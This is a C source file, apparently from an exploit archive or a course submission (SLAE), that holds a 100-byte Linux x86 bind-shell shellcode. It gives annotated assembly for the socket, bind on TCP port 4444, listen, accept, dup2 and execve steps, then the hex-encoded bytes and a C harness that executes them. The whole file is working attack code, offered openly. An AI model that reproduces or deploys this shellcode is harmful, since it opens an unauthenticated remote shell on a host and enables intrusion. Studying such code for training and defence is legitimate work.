94 lines
No EOL
1.6 KiB
C
94 lines
No EOL
1.6 KiB
C
/*
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; Title : Linux/x86 - Bind (4444/TCP) Shell (/bin/bash) Shellcode (100 bytes)
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; Date : Jan, 2019
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; Author : Joao Batista
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; Website : overflw.wordpress.com
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; Twitter : @x42x42x42x42
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; SLAE-ID : 1420
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; Tested on : i686 GNU/Linux
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global _start
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section .text
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_start:
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xor eax,eax
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xor ebx,ebx
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; socket
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push ebx
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inc ebx
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push ebx
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push 0x2
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mov ecx,esp
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mov al,0x66
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int 0x80
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; bind
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xchg edi,eax
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xor eax,eax
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inc ebx
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push eax
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push word 0x5c11 ; port=4444
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push bx
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mov ecx, esp
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push 0x10
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push ecx
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push edi
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mov ecx,esp
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mov al,0x66
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int 0x80
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; listen
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push eax
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push edi
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mov ecx,esp
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mov al,0x66
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add ebx,2
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int 0x80
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;accept
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push eax
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push eax
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push edi
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mov ecx,esp
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add al,0x66
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inc ebx
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int 0x80
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;dup2
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xchg ebx,eax
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xor eax,eax
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xor ecx,ecx
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mov cl,0x2
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loop:
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mov al,0x3f
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int 0x80
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dec ecx
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jns loop
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;execve(/bin/sh)
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push eax
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push word 0x6873 ; hs
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push 0x61622f2f ; ab//
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push 0x6e69622f ; nib/
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mov ebx,esp
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push eax
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mov edx,esp
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push ebx
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mov ecx,esp
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mov al,0xb
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int 0x80
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*/
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#include<stdio.h>
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#include<string.h>
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unsigned char shellcode[] = \
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"\x31\xc0\x31\xdb\x53\x43\x53\x6a\x02\x89\xe1\xb0\x66\xcd\x80\x97\x31\xc0\x43\x50\x66\x68\x11\x5c\x66\x53\x89\xe1\x6a\x10\x51\x57\x89\xe1\xb0\x66\xcd\x80\x50\x57\x89\xe1\xb0\x66\x83\xc3\x02\xcd\x80\x50\x50\x57\x89\xe1\x04\x66\x43\xcd\x80\x93\x31\xc0\x31\xc9\xb1\x02\xb0\x3f\xcd\x80\x49\x79\xf9\x50\x66\x68\x73\x68\x68\x2f\x2f\x62\x61\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80";
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main()
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{
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printf("shellcode length: %d\n", strlen(shellcode));
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int (*ret)() = (int(*)())shellcode;
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ret();
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} |